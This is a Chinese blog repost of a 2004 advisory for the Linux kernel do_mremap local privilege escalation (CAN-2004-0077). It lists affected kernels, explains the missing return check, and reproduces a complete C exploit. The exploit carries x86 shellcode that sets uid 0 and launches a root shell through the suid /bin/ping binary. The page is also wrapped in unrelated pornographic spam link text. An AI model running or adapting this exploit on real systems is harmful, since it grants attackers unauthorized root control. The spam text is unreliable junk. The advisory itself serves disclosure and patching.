青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

elva

Linux Kernel do_mremap VMA本地權限提升漏洞

日期:2004-03-05

發布日期:2004-02-18
更新日期:2004-03-03

受影響系統:
Linux kernel 2.6.2
Linux kernel 2.6.1
Linux kernel 2.6
Linux kernel 2.4.9
Linux kernel 2.4.8
Linux kernel 2.4.7
Linux kernel 2.4.6
Linux kernel 2.4.5
Linux kernel 2.4.4
Linux kernel 2.4.3
Linux kernel 2.4.24
Linux kernel 2.4.23
Linux kernel 2.4.22
Linux kernel 2.4.21
Linux kernel 2.4.20
Linux kernel 2.4.2
Linux kernel 2.4.19
Linux kernel 2.4.17
Linux kernel 2.4.16
Linux kernel 2.4.15
Linux kernel 2.4.14
Linux kernel 2.4.13
Linux kernel 2.4.12
Linux kernel 2.4.11
Linux kernel 2.4.10
Linux kernel 2.4.1
Linux kernel 2.4
Linux kernel 2.2.9
Linux kernel 2.2.8
Linux kernel 2.2.7
Linux kernel 2.2.6
Linux kernel 2.2.5
Linux kernel 2.2.4
Linux kernel 2.2.3
Linux kernel 2.2.25
Linux kernel 2.2.24
Linux kernel 2.2.23
Linux kernel 2.2.22
Linux kernel 2.2.21
Linux kernel 2.2.20
Linux kernel 2.2.2
Linux kernel 2.2.19
Linux kernel 2.2.18
Linux kernel 2.2.17
Linux kernel 2.2.16
Linux kernel 2.2.15
Linux kernel 2.2.14
Linux kernel 2.2.13
Linux kernel 2.2.12
Linux kernel 2.2.11
Linux kernel 2.2.10
Linux kernel 2.2.1
Linux kernel 2.2
Linux kernel 2.4.18
    - Conectiva Linux 8.0
    - Conectiva Linux 7.0
    - Debian Linux 3.0
    - Mandrake Linux 8.2
    - Mandrake Linux 8.1
    - RedHat Linux 8.0
    - RedHat Linux 7.3
    - Slackware Linux 8.1
    - Slackware Linux 8.0
    - SuSE Linux 8.2
    - SuSE Linux 8.1
不受影響系統:
Linux kernel 2.6.3
Linux kernel 2.4.25
Linux kernel 2.2.26
描述:
--------------------------------------------------------------------------------
CVE(CAN) ID: CAN-2004-0077

Linux是一款開放源代碼操作系統。

Linux內核中mremap(2)系統調用由于沒有對函數返回值進行檢查,本地攻擊者可以利用這個漏洞獲得root用戶權限。

mremap系統調用被應用程序用來改變映射區段(VMAs)的邊界地址。mremap()系統調用提供對已存在虛擬內存區域調整大小。從VMA區域移動部分虛擬內存到新的區域需要建立一個新的VMA描述符,也就是把由VMA描述的下面的頁面表條目(page table entries)從老的區域拷貝到進程頁表中新的位置。

要完成這個任務do_mremap代碼需要調用do_munmap()內部內核函數去清除在新位置中任何已經存在的內存映射,也就是刪除舊的虛擬內存映射。不幸的是代碼沒有對do_munmap()函數的返回值進行檢查,如果可用VMA描述符的最大數已經超出,那么函數調用就可能失敗。

isec利用這個漏洞通過頁表緩沖(page table cache)使包含在頁中的惡意指令被執行。詳細方法可參看如下地址:

http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt

<*來源:Paul Starzetz (paul@starzetz.de)
  
  鏈接:http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt
*>

測試方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!

Paul Starzetz (paul@starzetz.de)提供了如下測試方法:

/*
*
*    mremap missing do_munmap return check kernel exploit
*
*    gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
*    ./mremap_pte [suid] [[shell]]
*
*    Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
*
*    THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
*    AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
*    WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <syscall.h>
#include <signal.h>
#include <time.h>
#include <sched.h>

#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/utsname.h>

#include <asm/page.h>


#define str(s) #s
#define xstr(s) str(s)

//    this is for standard kernels with 3/1 split
#define STARTADDR    0x40000000
#define PGD_SIZE    (PAGE_SIZE * 1024)
#define VICTIM        (STARTADDR + PGD_SIZE)
#define MMAP_BASE    (STARTADDR + 3*PGD_SIZE)

#define DSIGNAL        SIGCHLD
#define CLONEFL        (DSIGNAL|CLONE_VFORK|CLONE_VM)

#define MREMAP_MAYMOVE    ( (1UL) << 0 )
#define MREMAP_FIXED    ( (1UL) << 1 )

#define __NR_sys_mremap    __NR_mremap


//    how many ld.so pages? this is the .text section length (like from cat    
//    /proc/self/maps) in pages
#define LINKERPAGES    0x14

//    suid victim
static char *suid="/bin/ping";

//    shell to start
static char *launch="/bin/bash";


_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d,        
      ulong, e);
unsigned long sys_mremap(unsigned long addr, unsigned long old_len,
             unsigned long new_len, unsigned long flags,
             unsigned long new_addr);

static volatile unsigned base, *t, cnt, old_esp, prot, victim=0;
static int i, pid=0;
static char *env[2], *argv[2];
static ulong ret;


//    code to appear inside the suid image
static void suid_code(void)
{
__asm__(
    "        call    callme                \n"

//    setresuid(0, 0, 0), setresgid(0, 0, 0)
    "jumpme:    xorl    %ebx, %ebx            \n"
    "        xorl    %ecx, %ecx            \n"
    "        xorl    %edx, %edx            \n"
    "        xorl    %eax, %eax            \n"
    "        mov    $"xstr(__NR_setresuid)", %al    \n"
    "        int    $0x80                \n"
    "        mov    $"xstr(__NR_setresgid)", %al    \n"
    "        int    $0x80                \n"

//    execve(launch)
    "        popl    %ebx                \n"
    "        andl    $0xfffff000, %ebx        \n"
    "        xorl    %eax, %eax            \n"
    "        pushl    %eax                \n"
    "        movl    %esp, %edx            \n"
    "        pushl    %ebx                \n"
    "        movl    %esp, %ecx            \n"
    "        mov    $"xstr(__NR_execve)", %al    \n"
    "        int    $0x80                \n"

//    exit
    "        xorl    %eax, %eax            \n"
    "        mov    $"xstr(__NR_exit)", %al        \n"
    "        int    $0x80                \n"

    "callme:    jmp    jumpme                \n"
    );
}


static int suid_code_end(int v)
{
return v+1;
}


static inline void get_esp(void)
{
__asm__(
    "        movl    %%esp, %%eax            \n"
    "        andl    $0xfffff000, %%eax        \n"
    "        movl    %%eax, %0            \n"
    : : "m"(old_esp)
    );
}


static inline void cloneme(void)
{
__asm__(
    "        pusha                    \n"
    "        movl $("xstr(CLONEFL)"), %%ebx        \n"
    "        movl %%esp, %%ecx            \n"
    "        movl $"xstr(__NR_clone)", %%eax        \n"
    "        int  $0x80                \n"
    "        movl %%eax, %0                \n"
    "        popa                    \n"
    : : "m"(pid)
    );
}


static inline void my_execve(void)
{
__asm__(
    "        movl %1, %%ebx                \n"
    "        movl %2, %%ecx                \n"
    "        movl %3, %%edx                \n"
    "        movl $"xstr(__NR_execve)", %%eax    \n"
    "        int  $0x80                \n"
    : "=a"(ret)
    : "m"(suid), "m"(argv), "m"(env)
    );
}


static inline void pte_populate(unsigned addr)
{
unsigned r;
char *ptr;

    memset((void*)addr, 0x90, PAGE_SIZE);
    r = ((unsigned)suid_code_end) - ((unsigned)suid_code);
    ptr = (void*) (addr + PAGE_SIZE);
    ptr -= r+1;
    memcpy(ptr, suid_code, r);
    memcpy((void*)addr, launch, strlen(launch)+1);
}


//    hit VMA limit & populate PTEs
static void exhaust(void)
{
//    mmap PTE donor
    t = mmap((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ|PROT_WRITE,
          MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
    if(MAP_FAILED==t)
        goto failed;

//    prepare shell code pages
    for(i=2; i<LINKERPAGES+1; i++)
        pte_populate(victim + PAGE_SIZE*i);
    i = mprotect((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ);
    if(i)
        goto failed;

//    lock unmap
    base = MMAP_BASE;
    cnt = 0;
    prot = PROT_READ;
    printf("\n"); fflush(stdout);
    for(;;) {
        t = mmap((void*)base, PAGE_SIZE, prot,
             MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
        if(MAP_FAILED==t) {
            if(ENOMEM==errno)
                break;
            else
                goto failed;
        }
        if( !(cnt%512) || cnt>65520 )
            printf("\r    MMAP #%d  0x%.8x - 0x%.8lx", cnt, base,
            base+PAGE_SIZE); fflush(stdout);
        base += PAGE_SIZE;
        prot ^= PROT_EXEC;
        cnt++;
    }

//    move PTEs & populate page table cache
    ret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE,    
             MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM);
    if(-1==ret)
        goto failed;

    munmap((void*)MMAP_BASE, old_esp-MMAP_BASE);
    t = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE,        
         PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0,
         0);
    if(MAP_FAILED==t)
        goto failed;

    *t = *((unsigned *)old_esp);
    munmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE));
    printf("\n[+] Success\n\n"); fflush(stdout);
    return;

failed:
    printf("\n[-] Failed\n"); fflush(stdout);
    _exit(0);
}


static inline void check_kver(void)
{
static struct utsname un;
int a=0, b=0, c=0, v=0, e=0, n;

    uname(&un);
    n=sscanf(un.release, "%d.%d.%d", &a, &b, &c);
    if(n!=3 || a!=2) {
        printf("\n[-] invalid kernel version string\n");
        _exit(0);
    }

    if(b==2) {
        if(c<=25)
            v=1;
    }
    else if(b==3) {
        if(c<=99)
            v=1;
    }
    else if(b==4) {
        if(c>18 && c<=24)
            v=1, e=1;
        else if(c>24)
            v=0, e=0;
        else
            v=1, e=0;
    }
    else if(b==5 && c<=75)
        v=1, e=1;
    else if(b==6 && c<=2)
        v=1, e=1;

    printf("\n[+] kernel %s  vulnerable: %s  exploitable %s",
        un.release, v? "YES" : "NO", e? "YES" : "NO" );
    fflush(stdout);

    if(v && e)
        return;
    _exit(0);
}


int main(int ac, char **av)
{
//    prepare
    check_kver();
    memset(env, 0, sizeof(env));
    memset(argv, 0, sizeof(argv));
    if(ac>1) suid=av[1];
    if(ac>2) launch=av[2];
    argv[0] = suid;
    get_esp();

//    mmap & clone & execve
    exhaust();
    cloneme();
    if(!pid) {
        my_execve();
    } else {
        waitpid(pid, 0, 0);
    }

return 0;
}

建議:
--------------------------------------------------------------------------------
廠商補?。?br>
Linux
-----
目前廠商已經發布了升級補丁以修復這個安全問題,請到廠商的主頁下載:

http://www.kernel.org/


下載 

posted on 2007-06-01 03:10 葉子 閱讀(517) 評論(0)  編輯 收藏 引用 所屬分類: 網絡安全

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            亚洲永久字幕| 久久久久欧美| 欧美激情在线| 欧美人妖在线观看| 一区二区三区视频免费在线观看| 91久久黄色| 欧美激情综合五月色丁香小说| 亚洲欧洲日夜超级视频| 亚洲精品欧洲精品| 国产精品久久久久免费a∨大胸| 亚洲免费在线| 欧美一区三区二区在线观看| 国内精品一区二区三区| 亚洲国产精品电影| 欧美日韩在线观看一区二区三区| 亚洲欧美在线播放| 久久国产精品网站| 99国产精品久久久久久久久久| 亚洲伦理在线| 国产亚洲午夜| 亚洲人成人一区二区三区| 国产精品欧美激情| 蜜臀91精品一区二区三区| 欧美久久在线| 久久久五月婷婷| 欧美精品免费在线| 久久久久久一区二区| 欧美福利视频网站| 久久国产精品99精品国产| 噜噜噜久久亚洲精品国产品小说| 一区二区三区产品免费精品久久75 | 国产精品二区在线| 久久久噜噜噜久久| 欧美激情在线狂野欧美精品| 午夜精品影院| 欧美久久电影| 久久中文字幕一区| 国产女主播在线一区二区| 亚洲国产精品激情在线观看| 国产手机视频一区二区| 亚洲精品在线免费| 尤物精品国产第一福利三区| 一区二区三区毛片| 日韩写真视频在线观看| 亚洲精品日韩在线观看| 在线观看视频亚洲| 亚洲一区二区三区欧美| 91久久国产精品91久久性色| 欧美在线视频观看| 欧美亚洲三区| 国产精品一区二区女厕厕| 亚洲欧洲在线看| 亚洲电影专区| 久久青草久久| 久久亚洲私人国产精品va媚药| 国产精品久久二区| 亚洲视频精选| 亚洲综合欧美日韩| 国产精品成人一区二区三区夜夜夜 | 经典三级久久| 久久gogo国模裸体人体| 久久精品99国产精品| 国产精品亚洲激情| 亚洲欧美日韩一区二区| 午夜在线精品偷拍| 国产欧美日本一区视频| 午夜精品久久久久久| 欧美在线视频不卡| 国产性做久久久久久| 欧美一区亚洲一区| 欧美成人精品在线视频| 亚洲国产日韩欧美在线图片| 男女激情视频一区| 亚洲精品一品区二品区三品区| 日韩亚洲精品电影| 欧美日韩在线高清| 西西人体一区二区| 久久深夜福利| 亚洲日本一区二区三区| 欧美另类极品videosbest最新版本| 亚洲经典在线| 亚洲欧美另类在线| 国产综合网站| 欧美成人精品在线| 亚洲毛片在线| 欧美在线视频在线播放完整版免费观看| 国产欧美三级| 免费欧美电影| 99re热这里只有精品免费视频| 性欧美1819性猛交| 亚洲第一在线综合网站| 欧美视频一二三区| 久久精品观看| 亚洲欧洲视频| 久久激情五月激情| 亚洲日本免费电影| 国产精品视频久久| 美女亚洲精品| 亚洲综合精品自拍| 亚洲电影第1页| 香蕉亚洲视频| 亚洲精品一区二区在线| 国产精品免费视频xxxx| 美女诱惑黄网站一区| 中国日韩欧美久久久久久久久| 久久亚洲国产成人| 亚洲制服av| 亚洲国产一区二区精品专区| 欧美吻胸吃奶大尺度电影| 久久久午夜视频| 亚洲午夜久久久| 亚洲激情成人在线| 久久久91精品国产一区二区精品| 99精品久久久| 欧美xart系列高清| 午夜伦理片一区| 亚洲卡通欧美制服中文| 国产原创一区二区| 欧美午夜精品伦理| 欧美成人国产va精品日本一级| 亚洲欧美www| av72成人在线| 亚洲美洲欧洲综合国产一区| 免费永久网站黄欧美| 欧美一区二区黄| 亚洲一区二区三区激情| 亚洲另类在线视频| 亚洲第一色在线| 伊人精品成人久久综合软件| 国产精品乱人伦中文| 欧美日韩免费观看一区三区| 免费美女久久99| 麻豆视频一区二区| 久久综合九色九九| 久久免费午夜影院| 久久久国产精品一区二区三区| 亚洲综合色激情五月| 一区二区欧美精品| 一本到12不卡视频在线dvd| 亚洲激精日韩激精欧美精品| 欧美激情一区二区三区在线视频 | 久久亚洲不卡| 久久色在线观看| 免费看成人av| 免费久久99精品国产自在现线| 久久精品亚洲一区二区三区浴池| 午夜精品一区二区三区在线播放 | 欧美成人午夜激情| 欧美91大片| 欧美国产一区二区| 欧美大学生性色视频| 亚洲国产视频一区二区| 亚洲人成网站在线播| 亚洲免费成人av电影| 一区二区高清视频| 宅男噜噜噜66一区二区| 亚洲欧美中文日韩v在线观看| 香蕉免费一区二区三区在线观看| 亚洲欧美日韩视频一区| 久久国产精品久久久久久| 久久蜜臀精品av| 欧美激情自拍| 国产欧美精品一区aⅴ影院| 国产综合自拍| 亚洲欧洲综合| 亚洲欧美日韩精品一区二区| 久久精品最新地址| 欧美福利视频在线| 一区二区三区av| 欧美一区二区三区久久精品| 久久噜噜亚洲综合| 欧美日韩人人澡狠狠躁视频| 国产精品视频一区二区三区| 国产午夜亚洲精品理论片色戒| 在线成人av网站| 99国产精品久久久久久久| 欧美在线在线| 亚洲韩国青草视频| 亚洲欧美国产另类| 牛夜精品久久久久久久99黑人 | 性色一区二区| 欧美日韩成人一区二区三区| 国产精品一区免费在线观看| 亚洲第一区在线| 久久不射网站| 欧美一级视频一区二区| 国产一区二区三区四区老人| 亚洲人在线视频| 久久久久久久综合狠狠综合| 亚洲乱码视频| 嫩草国产精品入口| 极品av少妇一区二区| 亚洲一区二区三区四区视频| 欧美r片在线| 午夜日韩在线观看| 欧美色大人视频| 亚洲精品久久久一区二区三区| 久久久久久久999精品视频| 一本色道久久精品| 欧美精品123区|